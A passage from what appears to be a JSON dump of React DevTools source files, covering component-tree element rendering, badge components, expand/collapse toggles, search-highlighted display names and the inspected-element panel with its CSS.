setIsHovered] = useState(false);\n\n  const errorsAndWarningsSubscription = useMemo(\n    () => ({\n      getCurrentValue: () =>\n        element === null\n          ? {errorCount: 0, warningCount: 0}\n          : store.getErrorAndWarningCountForElementID(element.id),\n      subscribe: (callback: Function) => {\n        store.addListener('mutated', callback);\n        return () => store.removeListener('mutated', callback);\n      },\n    }),\n    [store, element],\n  );\n  const {errorCount, warningCount} = useSubscription<{\n    errorCount: number,\n    warningCount: number,\n  }>(errorsAndWarningsSubscription);\n\n  const changeOwnerAction = useChangeOwnerAction();\n  const changeActivitySliceAction = useChangeActivitySliceAction();\n\n  // Handle elements that are removed from the tree while an async render is in progress.\n  if (element == null) {\n    console.warn(`<Element> Could not find element at index ${index}`);\n\n    // This return needs to happen after hooks, since hooks can't be conditional.\n    return null;\n  }\n\n  const handleDoubleClick = () => {\n    startTransition(() => {\n      if (element.type === ElementTypeActivity) {\n        changeActivitySliceAction(element.id);\n      } else {\n        changeOwnerAction(element.id);\n      }\n    });\n  };\n\n  // $FlowFixMe[missing-local-annot]\n  const handleClick = ({metaKey, button}) => {\n    if (id !== null && button === 0) {\n      logEvent({\n        event_name: 'select-element',\n        metadata: {source: 'click-element'},\n      });\n      dispatch({\n        type: 'SELECT_ELEMENT_BY_ID',\n        payload: metaKey ? null : id,\n      });\n    }\n  };\n\n  const handleMouseEnter = () => {\n    setIsHovered(true);\n    if (id !== null) {\n      onElementMouseEnter(id);\n    }\n  };\n\n  const handleMouseLeave = () => {\n    setIsHovered(false);\n  };\n\n  // $FlowFixMe[missing-local-annot]\n  const handleKeyDoubleClick = event => {\n    // Double clicks on key value are used for text selection (if the text has been truncated).\n    // They should not enter the owners tree view.\n    event.stopPropagation();\n    event.preventDefault();\n  };\n\n  const {\n    id,\n    depth,\n    displayName,\n    hocDisplayNames,\n    isStrictModeNonCompliant,\n    isActivityHidden,\n    isInsideHiddenActivity,\n    key,\n    nameProp,\n    compiledWithForget,\n  } = element;\n  const {\n    isNavigatingWithKeyboard,\n    onElementMouseEnter,\n    treeFocused,\n    calculateElementOffset,\n  } = data;\n\n  const isSelected = inspectedElementID === id;\n  const isDescendantOfSelected =\n    inspectedElementID !== null &&\n    !isSelected &&\n    store.isDescendantOf(inspectedElementID, id);\n  const elementOffset = calculateElementOffset(depth);\n\n  // Only show strict mode non-compliance badges for top level elements.\n  // Showing an inline badge for every element in the tree would be noisy.\n  const showStrictModeBadge = isStrictModeNonCompliant && depth === 0;\n\n  let className = styles.Element;\n  if (isSelected) {\n    className = treeFocused\n      ? styles.SelectedElement\n      : styles.InactiveSelectedElement;\n  } else if (isHovered && !isNavigatingWithKeyboard) {\n    className = styles.HoveredElement;\n  } else if (isDescendantOfSelected) {\n    className = treeFocused\n      ? styles.HighlightedElement\n      : styles.InactiveHighlightedElement;\n  }\n\n  return (\n    <div\n      className={className}\n      onMouseEnter={handleMouseEnter}\n      onMouseLeave={handleMouseLeave}\n      onMouseDown={handleClick}\n      onDoubleClick={handleDoubleClick}\n      title={\n        isInsideHiddenActivity\n          ? 'This component is inside a hidden Activity subtree.'\n          : undefined\n      }\n      style={{\n        ...style,\n        paddingLeft: elementOffset,\n        opacity: isInsideHiddenActivity ? 0.75 : 1,\n      }}\n      data-testname=\"ComponentTreeListItem\">\n      {/* This wrapper is used by Tree for measurement purposes. */}\n      <div className={styles.Wrapper}>\n        {ownerID === null && (\n          <ExpandCollapseToggle element={element} store={store} />\n        )}\n\n        <IndexableDisplayName displayName={displayName} id={id} />\n\n        {key && (\n          <Fragment>\n            &nbsp;<span className={styles.KeyName}>key</span>=\"\n            <span\n              className={styles.KeyValue}\n              title={key}\n              onDoubleClick={handleKeyDoubleClick}>\n              <IndexableDisplayName displayName={key} id={id} />\n            </span>\n            \"\n          </Fragment>\n        )}\n\n        {nameProp && (\n          <Fragment>\n            &nbsp;<span className={styles.KeyName}>name</span>=\"\n            <span\n              className={styles.KeyValue}\n              title={nameProp}\n              onDoubleClick={handleKeyDoubleClick}>\n              <IndexableDisplayName displayName={nameProp} id={id} />\n            </span>\n            \"\n          </Fragment>\n        )}\n\n        {element.type === ElementTypeActivity && (\n          <Fragment>\n            &nbsp;<span className={styles.KeyName}>mode</span>=\"\n            <span\n              className={styles.KeyValue}\n              title={isActivityHidden ? 'hidden' : 'visible'}>\n              {isActivityHidden ? 'hidden' : 'visible'}\n            </span>\n            \"\n          </Fragment>\n        )}\n\n        <IndexableElementBadges\n          hocDisplayNames={hocDisplayNames}\n          compiledWithForget={compiledWithForget}\n          elementID={id}\n          className={styles.BadgesBlock}\n        />\n\n        {errorCount > 0 && (\n          <Icon\n            type=\"error\"\n            className={\n              isSelected && treeFocused\n                ? styles.ErrorIconContrast\n                : styles.ErrorIcon\n            }\n          />\n        )}\n        {warningCount > 0 && (\n          <Icon\n            type=\"warning\"\n            className={\n              isSelected && treeFocused\n                ? styles.WarningIconContrast\n                : styles.WarningIcon\n            }\n          />\n        )}\n        {showStrictModeBadge && (\n          <Tooltip label=\"This component is not running in StrictMode.\">\n            <Icon\n              className={\n                isSelected && treeFocused\n                  ? styles.StrictModeContrast\n                  : styles.StrictMode\n              }\n              type=\"strict-mode-non-compliant\"\n            />\n          </Tooltip>\n        )}\n      </div>\n    </div>\n  );\n}\n\n// Prevent double clicks on toggle from drilling into the owner list.\n// $FlowFixMe[missing-local-annot]\nconst swallowDoubleClick = event => {\n  event.preventDefault();\n  event.stopPropagation();\n};\n\ntype ExpandCollapseToggleProps = {\n  element: ElementType,\n  store: Store,\n};\n\nfunction ExpandCollapseToggle({element, store}: ExpandCollapseToggleProps) {\n  const {children, id, isCollapsed} = element;\n\n  // $FlowFixMe[missing-local-annot]\n  const toggleCollapsed = event => {\n    event.preventDefault();\n    event.stopPropagation();\n\n    store.toggleIsCollapsed(id, !isCollapsed);\n  };\n\n  // $FlowFixMe[missing-local-annot]\n  const stopPropagation = event => {\n    // Prevent the row from selecting\n    event.stopPropagation();\n  };\n\n  if (children.length === 0) {\n    return <div className={styles.ExpandCollapseToggle} />;\n  }\n\n  return (\n    <div\n      className={styles.ExpandCollapseToggle}\n      onMouseDown={stopPropagation}\n      onClick={toggleCollapsed}\n      onDoubleClick={swallowDoubleClick}>\n      <ButtonIcon type={isCollapsed ? 'collapsed' : 'expanded'} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ElementBadges.css",
    "content": ".Root {\n  display: inline-flex;\n  align-items: center;\n}\n\n.Root *:not(:first-child) {\n  margin-left: 0.25rem;\n}\n\n.ExtraLabel {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-small);\n  color: var(--color-component-badge-count);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ElementBadges.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport Badge from './Badge';\nimport ForgetBadge from './ForgetBadge';\n\nimport styles from './ElementBadges.css';\n\ntype Props = {\n  hocDisplayNames: Array<string> | null,\n  environmentName: string | null,\n  compiledWithForget: boolean,\n  className?: string,\n};\n\nexport default function ElementBadges({\n  compiledWithForget,\n  environmentName,\n  hocDisplayNames,\n  className = '',\n}: Props): React.Node {\n  if (\n    !compiledWithForget &&\n    (hocDisplayNames == null || hocDisplayNames.length === 0) &&\n    environmentName == null\n  ) {\n    return null;\n  }\n\n  return (\n    <div className={`${styles.Root} ${className}`}>\n      {compiledWithForget && <ForgetBadge indexable={false} />}\n\n      {environmentName != null ? <Badge>{environmentName}</Badge> : null}\n\n      {hocDisplayNames != null && hocDisplayNames.length > 0 && (\n        <Badge>{hocDisplayNames[0]}</Badge>\n      )}\n\n      {hocDisplayNames != null && hocDisplayNames.length > 1 && (\n        <div className={styles.ExtraLabel}>+{hocDisplayNames.length - 1}</div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ExpandCollapseToggle.css",
    "content": ".ExpandCollapseToggle {\n  flex: 0 0 1rem;\n  width: 1rem;\n  height: 1rem;\n  padding: 0;\n  color: var(--color-expand-collapse-toggle);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ExpandCollapseToggle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\n\nimport styles from './ExpandCollapseToggle.css';\n\ntype ExpandCollapseToggleProps = {\n  disabled: boolean,\n  isOpen: boolean,\n  setIsOpen: Function,\n};\n\nexport default function ExpandCollapseToggle({\n  disabled,\n  isOpen,\n  setIsOpen,\n}: ExpandCollapseToggleProps): React.Node {\n  return (\n    <Button\n      className={styles.ExpandCollapseToggle}\n      disabled={disabled}\n      onClick={() => setIsOpen(prevIsOpen => !prevIsOpen)}\n      title={`${isOpen ? 'Collapse' : 'Expand'} prop value`}>\n      <ButtonIcon type={isOpen ? 'expanded' : 'collapsed'} />\n    </Button>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport {createContext} from 'react';\n\nexport type FetchFileWithCaching = (url: string) => Promise<string>;\nexport type Context = FetchFileWithCaching | null;\n\nconst FetchFileWithCachingContext: ReactContext<Context> =\n  createContext<Context>(null);\nFetchFileWithCachingContext.displayName = 'FetchFileWithCachingContext';\n\nexport default FetchFileWithCachingContext;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.css",
    "content": ".Root {\n  background-color: var(--color-forget-badge-background);\n  color: var(--color-forget-text);\n  padding-right: 1.75em;\n  position: relative;\n}\n\n.Root::after {\n  bottom: 0;\n  content: '✨';\n  position: absolute;\n  right: 0.25em;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport Badge from './Badge';\nimport IndexableDisplayName from './IndexableDisplayName';\nimport Tooltip from './reach-ui/tooltip';\n\nimport styles from './ForgetBadge.css';\n\ntype CommonProps = {\n  className?: string,\n};\n\ntype PropsForIndexable = CommonProps & {\n  indexable: true,\n  elementID: number,\n};\n\ntype PropsForNonIndexable = CommonProps & {\n  indexable: false | void,\n  elementID?: number,\n};\n\ntype Props = PropsForIndexable | PropsForNonIndexable;\n\nexport default function ForgetBadge(props: Props): React.Node {\n  const {className = ''} = props;\n\n  const innerView = props.indexable ? (\n    <IndexableDisplayName displayName=\"Memo\" id={props.elementID} />\n  ) : (\n    'Memo'\n  );\n\n  const title =\n    '✨ This component has been auto-memoized by the React Compiler.';\n  return (\n    <Tooltip label={title}>\n      <Badge className={`${styles.Root} ${className}`}>{innerView}</Badge>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/HookNamesModuleLoaderContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport type {Thenable} from 'shared/ReactTypes';\n\nimport {createContext} from 'react';\nimport typeof * as ParseHookNamesModule from 'react-devtools-shared/src/hooks/parseHookNames';\n\nexport type HookNamesModuleLoaderFunction =\n  () => Thenable<ParseHookNamesModule>;\nexport type Context = HookNamesModuleLoaderFunction | null;\n\n// TODO (Webpack 5) Hopefully we can remove this context entirely once the Webpack 5 upgrade is completed.\nconst HookNamesModuleLoaderContext: ReactContext<Context> =\n  createContext<Context>(null);\nHookNamesModuleLoaderContext.displayName = 'HookNamesModuleLoaderContext';\n\nexport default HookNamesModuleLoaderContext;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/IndexableDisplayName.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport {createRegExp} from '../utils';\n\nimport {TreeStateContext} from './TreeContext';\nimport styles from './Element.css';\n\nconst {useMemo, useContext} = React;\n\ntype Props = {\n  displayName: string | null,\n  id: number,\n};\n\nfunction IndexableDisplayName({displayName, id}: Props): React.Node {\n  const {searchIndex, searchResults, searchText} = useContext(TreeStateContext);\n  const isSearchResult = useMemo(() => {\n    return searchResults.includes(id);\n  }, [id, searchResults]);\n  const isCurrentResult =\n    searchIndex !== null && id === searchResults[searchIndex];\n\n  if (!isSearchResult || displayName === null) {\n    return displayName;\n  }\n\n  const match = createRegExp(searchText).exec(displayName);\n\n  if (match === null) {\n    return displayName;\n  }\n\n  const startIndex = match.index;\n  const stopIndex = startIndex + match[0].length;\n\n  const children = [];\n  if (startIndex > 0) {\n    children.push(<span key=\"begin\">{displayName.slice(0, startIndex)}</span>);\n  }\n  children.push(\n    <mark\n      key=\"middle\"\n      className={isCurrentResult ? styles.CurrentHighlight : styles.Highlight}>\n      {displayName.slice(startIndex, stopIndex)}\n    </mark>,\n  );\n  if (stopIndex < displayName.length) {\n    children.push(<span key=\"end\">{displayName.slice(stopIndex)}</span>);\n  }\n\n  return children;\n}\n\nexport default IndexableDisplayName;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/IndexableElementBadges.css",
    "content": ".Root {\n  display: inline-flex;\n  align-items: center;\n}\n\n.Root *:not(:first-child) {\n  margin-left: 0.25rem;\n}\n\n.ExtraLabel {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-small);\n  color: var(--color-component-badge-count);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/IndexableElementBadges.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport Badge from './Badge';\nimport ForgetBadge from './ForgetBadge';\nimport IndexableDisplayName from './IndexableDisplayName';\n\nimport styles from './IndexableElementBadges.css';\n\ntype Props = {\n  hocDisplayNames: Array<string> | null,\n  compiledWithForget: boolean,\n  elementID: number,\n  className?: string,\n};\n\nexport default function IndexableElementBadges({\n  compiledWithForget,\n  hocDisplayNames,\n  elementID,\n  className = '',\n}: Props): React.Node {\n  if (\n    !compiledWithForget &&\n    (hocDisplayNames == null || hocDisplayNames.length === 0)\n  ) {\n    return null;\n  }\n\n  return (\n    <div className={`${styles.Root} ${className}`}>\n      {compiledWithForget && (\n        <ForgetBadge indexable={true} elementID={elementID} />\n      )}\n\n      {hocDisplayNames != null && hocDisplayNames.length > 0 && (\n        <Badge>\n          <IndexableDisplayName\n            displayName={hocDisplayNames[0]}\n            id={elementID}\n          />\n        </Badge>\n      )}\n\n      {hocDisplayNames != null && hocDisplayNames.length > 1 && (\n        <div className={styles.ExtraLabel}>+{hocDisplayNames.length - 1}</div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectHostNodesToggle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useCallback, useContext, useEffect, useState} from 'react';\nimport {BridgeContext} from '../context';\nimport Toggle from '../Toggle';\nimport ButtonIcon from '../ButtonIcon';\nimport {logEvent} from 'react-devtools-shared/src/Logger';\n\nexport default function InspectHostNodesToggle({\n  onlySuspenseNodes,\n}: {\n  onlySuspenseNodes?: boolean,\n}): React.Node {\n  const [isInspecting, setIsInspecting] = useState(false);\n  const bridge = useContext(BridgeContext);\n\n  const handleChange = useCallback(\n    (isChecked: boolean) => {\n      setIsInspecting(isChecked);\n\n      if (isChecked) {\n        logEvent({event_name: 'inspect-element-button-clicked'});\n        bridge.send('startInspectingHost', !!onlySuspenseNodes);\n      } else {\n        bridge.send('stopInspectingHost');\n      }\n    },\n    [bridge],\n  );\n\n  useEffect(() => {\n    const onStopInspectingHost = () => setIsInspecting(false);\n    bridge.addListener('stopInspectingHost', onStopInspectingHost);\n    return () =>\n      bridge.removeListener('stopInspectingHost', onStopInspectingHost);\n  }, [bridge]);\n\n  return (\n    <Toggle\n      onChange={handleChange}\n      isChecked={isInspecting}\n      title=\"Select an element in the page to inspect it\">\n      <ButtonIcon type=\"search\" />\n    </Toggle>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.css",
    "content": ".InspectedElement {\n  display: flex;\n  flex-direction: column;\n  height: 100%;\n  width: 100%;\n  border-top: 1px solid var(--color-border);\n}\n\n.TitleRow {\n  flex: 0 0 42px;\n  display: flex;\n  align-items: center;\n  font-size: var(--font-size-monospace-large);\n  border-bottom: 1px solid var(--color-border);\n  padding: 0.5rem;\n}\n\n.Key {\n  flex: 0 1 auto;\n  padding-left: 0.25rem;\n  padding-right: 0.125rem;\n  line-height: 1rem;\n  border-top-left-radius: 0.125rem;\n  border-bottom-left-radius: 0.125rem;\n  display: inline-block;\n  background-color: var(--color-component-badge-background);\n  color: var(--color-text);\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-small);\n  white-space: nowrap;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  max-width: 100%;\n}\n\n.KeyArrow {\n  height: 1rem;\n  width: 1rem;\n  margin-right: -0.25rem;\n  border: 0.5rem solid transparent;\n  border-left: 0.5rem solid var(--color-component-badge-background);\n}\n\n.SelectedComponentName {\n  flex: 1 1 auto;\n  overflow: hidden;\n  display: flex;\n  padding: 0.25rem 0;\n  height: 100%;\n  align-items: flex-end;\n}\n\n.ComponentName {\n  color: var(--color-component-name);\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  white-space: nowrap;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  max-width: 100%;\n}\n\n.StrictModeNonCompliantComponentName {\n  color: var(--color-console-error-icon);\n}\n\n.Loading {\n  padding: 0.25rem;\n  color: var(--color-dimmer);\n  font-style: italic;\n}\n\n.NoInspectionFallback {\n  padding: 0.25rem;\n  font-style: italic;\n}\n\n.StrictModeNonCompliant {\n  display: inline-flex;\n  padding: 0.25rem;\n  color: var(--color-console-error-icon);\n}\n\n.VRule {\n  height: 20px;\n  width: 1px;\n  flex: 0 0 1px;\n  margin: 0 0.5rem;\n  background-color: var(--color-border);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';\n\nimport * as React from 'react';\nimport {useCallback, useContext, useSyncExternalStore} from 'react';\nimport {TreeStateContext} from './TreeContext';\nimport {BridgeContext, StoreContext, OptionsContext} from '../context';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport Icon from '../Icon';\nimport Toggle from '../Toggle';\nimport {\n  ElementTypeSuspense,\n  ElementTypeRoot,\n} from 'react-devtools-shared/src/frontend/types';\nimport InspectedElementView from './InspectedElementView';\nimport {InspectedElementContext} from './InspectedElementContext';\nimport {getAlwaysOpenInEditor} from '../../../utils';\nimport {LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR} from '../../../constants';\nimport FetchFileWithCachingContext from './FetchFileWithCachingContext';\nimport {symbolicateSourceWithCache} from 'react-devtools-shared/src/symbolicateSource';\nimport OpenInEditorButton from './OpenInEditorButton';\nimport InspectedElementViewSourceButton from './InspectedElementViewSourceButton';\nimport useEditorURL from '../useEditorURL';\n\nimport styles from './InspectedElement.css';\nimport Tooltip from './reach-ui/tooltip';\n\nexport type Props = {\n  actionButtons?: React.Node,\n  /** fallback to show when no element is inspected */\n  fallbackEmpty: React.Node,\n};\n\n// TODO Make edits and deletes also use transition API!\n\nconst noSourcePromise = Promise.resolve(null);\n\nexport default function InspectedElementWrapper({\n  actionButtons,\n  fallbackEmpty,\n}: Props): React.Node {\n  const {inspectedElementID} = useContext(TreeStateContext);\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n  const {\n    hideToggleErrorAction,\n    hideToggleSuspenseAction,\n    hideLogAction,\n    hideViewSourceAction,\n  } = useContext(OptionsContext);\n\n  const {hookNames, inspectedElement, parseHookNames, toggleParseHookNames} =\n    useContext(InspectedElementContext);\n\n  const fetchFileWithCaching = useContext(FetchFileWithCachingContext);\n\n  const source =\n    inspectedElement == null\n      ? null\n      : inspectedElement.source != null\n        ? inspectedElement.source\n        : inspectedElement.stack != null && inspectedElement.stack.length > 0\n          ? inspectedElement.stack[0]\n          : null;\n\n  const symbolicatedSourcePromise: Promise<SourceMappedLocation | null> =\n    React.useMemo(() => {\n      if (fetchFileWithCaching == null) return noSourcePromise;\n\n      if (source == null) return noSourcePromise;\n\n      const [, sourceURL, line, column] = source;\n      return symbolicateSourceWithCache(\n        fetchFileWithCaching,\n        sourceURL,\n        line,\n        column,\n      );\n    }, [source]);\n\n  const element =\n    inspectedElementID !== null\n      ? store.getElementByID(inspectedElementID)\n      : null;\n\n  const highlightElement = useCallback(() => {\n    if (element !== null && inspectedElementID !== null) {\n      const rendererID = store.getRendererIDForElement(inspectedElementID);\n      if (rendererID !== null) {\n        bridge.send('highlightHostInstance', {\n          displayName: element.displayName,\n          hideAfterTimeout: true,\n          id: inspectedElementID,\n          openBuiltinElementsPanel: true,\n          rendererID,\n          scrollIntoView: true,\n        });\n      }\n    }\n  }, [bridge, element, inspectedElementID, store]);\n\n  const logElement = useCallback(() => {\n    if (inspectedElementID !== null) {\n      const rendererID = store.getRendererIDForElement(inspectedElementID);\n      if (rendererID !== null) {\n        bridge.send('logElementToConsole', {\n          id: inspectedElementID,\n          rendererID,\n        });\n      }\n    }\n  }, [bridge, inspectedElementID, store]);\n\n  const isErrored = inspectedElement != null && inspectedElement.isErrored;\n\n  const isSuspended =\n    element !== null &&\n    element.type === ElementTypeSuspense &&\n    inspectedElement != null &&\n    inspectedElement.isSuspended;\n\n  const canToggleError =\n    !hideToggleErrorAction &&\n    inspectedElement != null &&\n    inspectedElement.canToggleError;\n\n  const canToggleSuspense =\n    !hideToggleSuspenseAction &&\n    inspectedElement != null &&\n    inspectedElement.canToggleSuspense;\n\n  const alwaysOpenInEditor = useSyncExternalStore(\n    useCallback(function subscribe(callback) {\n      window.addEventListener(LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR, callback);\n      return function unsubscribe() {\n        window.removeEventListener(\n          LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,\n          callback,\n        );\n      };\n    }, []),\n    getAlwaysOpenInEditor,\n  );\n\n  const editorURL = useEditorURL();\n\n  const toggleErrored = useCallback(() => {\n    if (inspectedElement == null) {\n      return;\n    }\n\n    const rendererID = store.getRendererIDForElement(inspectedElement.id);\n    if (rendererID !== null) {\n      // Toggle error.\n      // Because triggering an error will always delete the children, we'll\n      // automatically select the nearest still mounted instance which will be\n      // the error boundary.\n      bridge.send('overrideError', {\n        id: inspectedElement.id,\n        rendererID,\n        forceError: !isErrored,\n      });\n    }\n  }, [bridge, store, isErrored, inspectedElement]);\n\n  // TODO (suspense toggle) Would be nice to eventually use a two setState pattern here as well.\n  const toggleSuspended = useCallback(() => {\n    if (inspectedElement == null) {\n      return;\n    }\n\n    const rendererID = store.getRendererIDForElement(inspectedElement.id);\n    if (rendererID !== null) {\n      // Toggle suspended\n      // Because suspending or unsuspending always delete the children or fallback,\n      // we'll automatically select the nearest still mounted instance which will be\n      // the Suspense boundary.\n      bridge.send('overrideSuspense', {\n        id: inspectedElement.id,\n        rendererID,\n        forceFallback: !isSuspended,\n      });\n    }\n  }, [bridge, store, isSuspended, inspectedElement]);\n\n  if (element === null) {\n    return (\n      <div className={styles.InspectedElement}>\n        <div className={styles.TitleRow} />\n        <div className={styles.NoInspectionFallback}>{fallbackEmpty}</div>\n      </div>\n    );\n  }\n\n  let strictModeBadge = null;\n  if (element.isStrictModeNonCompliant && element.parentID !== 0) {\n    strictModeBadge = (\n      <Tooltip label=\"This component is not running in StrictMode. Click to learn more.\">\n        <a\n          className={styles.StrictModeNonCompliant}\n          href=\"https://react.dev/reference/react/StrictMode\"\n          rel=\"noopener noreferrer\"\n          target=\"_blank\">\n          <Icon type=\"strict-mode-non-compliant\" />\n        </a>\n      </Tooltip>\n    );\n  }\n\n  let fullName = element.displayName || '';\n  if (element.nameProp !== null) {\n    fullName += ' \"' + element.nameProp + '\"';\n  }\n  if (element.type === ElementTypeRoot) {\n    // The root only has \"suspended by\" and it represents the things that block\n    // Initial Paint.\n    fullName = 'Initial Paint';\n  }\n\n  return (\n    <div\n      className={styles.InspectedElement}\n      key={inspectedElementID /* Force reset when selected Element changes */}>\n      <div className={styles.TitleRow} data-testname=\"InspectedElement-Title\">\n        {strictModeBadge}\n\n        {element.key && (\n          <>\n            <div className={styles.Key} title={`key \"${element.key}\"`}>\n              {element.key}\n            </div>\n            <div className={styles.KeyArrow} />\n          </>\n        )}\n\n        <div className={styles.SelectedComponentName}>\n          <div\n            className={\n              element.isStrictModeNonCompliant && element.parentID !== 0\n                ? `${styles.ComponentName} ${styles.StrictModeNonCompliantComponentName}`\n                : styles.ComponentName\n            }\n            title={fullName}>\n            {fullName}\n          </div>\n        </div>\n\n        {!alwaysOpenInEditor &&\n          !!editorURL &&\n          source != null &&\n          symbolicatedSourcePromise != null && (\n            <OpenInEditorButton\n              editorURL={editorURL}\n              source={source}\n              symbolicatedSourcePromise={symbolicatedSourcePromise}\n            />\n          )}\n\n        {canToggleError && (\n          <Toggle\n            isChecked={isErrored}\n            onChange={toggleErrored}\n            title={\n              isErrored\n                ? 'Clear the forced error'\n                : 'Force the selected component into an errored state'\n            }>\n            <ButtonIcon type=\"error\" />\n          </Toggle>\n        )}\n        {canToggleSuspense || isSuspended ? (\n          <Toggle\n            isChecked={isSuspended}\n            isDisabled={!canToggleSuspense}\n            onChange={toggleSuspended}\n            title={\n              isSuspended\n                ? canToggleSuspense\n                  ? 'Unsuspend the selected component'\n                  : 'This boundary is still suspended'\n                : 'Suspend the selected component'\n            }>\n            <ButtonIcon type=\"suspend\" />\n          </Toggle>\n        ) : null}\n        {store.supportsInspectMatchingDOMElement && (\n          <Button\n            onClick={highlightElement}\n            title=\"Inspect the matching DOM element\">\n            <ButtonIcon type=\"view-dom\" />\n          </Button>\n        )}\n        {!hideLogAction && (\n          <Button\n            onClick={logElement}\n            title=\"Log this component data to the console\">\n            <ButtonIcon type=\"log-data\" />\n          </Button>\n        )}\n\n        {!hideViewSourceAction && (\n          <InspectedElementViewSourceButton\n            source={source}\n            symbolicatedSourcePromise={symbolicatedSourcePromise}\n          />\n        )}\n\n        {actionButtons && (\n          <>\n            <div className={styles.VRule} />\n            {actionButtons}\n          </>\n        )}\n      </div>\n\n      {inspectedElement === null && (\n        <div className={styles.Loading}>Loading...</div>\n      )}\n\n      {inspectedElement !== null && (\n        <InspectedElementView\n          element={element}\n          hookNames={hookNames}\n          inspectedElement={inspectedElement}\n          parseHookNames={parseHookNames}\n          toggleParseHookNames={toggleParseHookNames}\n          symbolicatedSourcePromise={symbolicatedSourcePromise}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementBadges.css",
    "content": ".Root {\n  user-select: none;\n  display: inline-flex;\n}\n\n.Root *:not(:first-child) {\n  margin-left: 0.25rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementBadges.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport Badge from './Badge';\nimport ForgetBadge from './ForgetBadge';\nimport NativeTagBadge from './NativeTagBadge';\n\nimport styles from './InspectedElementBadges.css';\n\ntype Props = {\n  hocDisplayNames: null | Array<string>,\n  compiledWithForget: boolean,\n  nativeTag: number | null,\n};\n\nexport default function InspectedElementBadges({\n  hocDisplayNames,\n  compiledWithForget,\n  nativeTag,\n}: Props): React.Node {\n  if (\n    !compiledWithForget &&\n    (hocDisplayNames == null || hocDisplayNames.length === 0) &&\n    nativeTag === null\n  ) {\n    return null;\n  }\n\n  return (\n    <div className={styles.Root}>\n      {compiledWithForget && <ForgetBadge indexable={false} />}\n      {nativeTag !== null && <NativeTagBadge nativeTag={nativeTag} />}\n\n      {hocDisplayNames !== null &&\n        hocDisplayNames.map(hocDisplayName => (\n          <Badge key={hocDisplayName}>{hocDisplayName}</Badge>\n        ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContext.js",
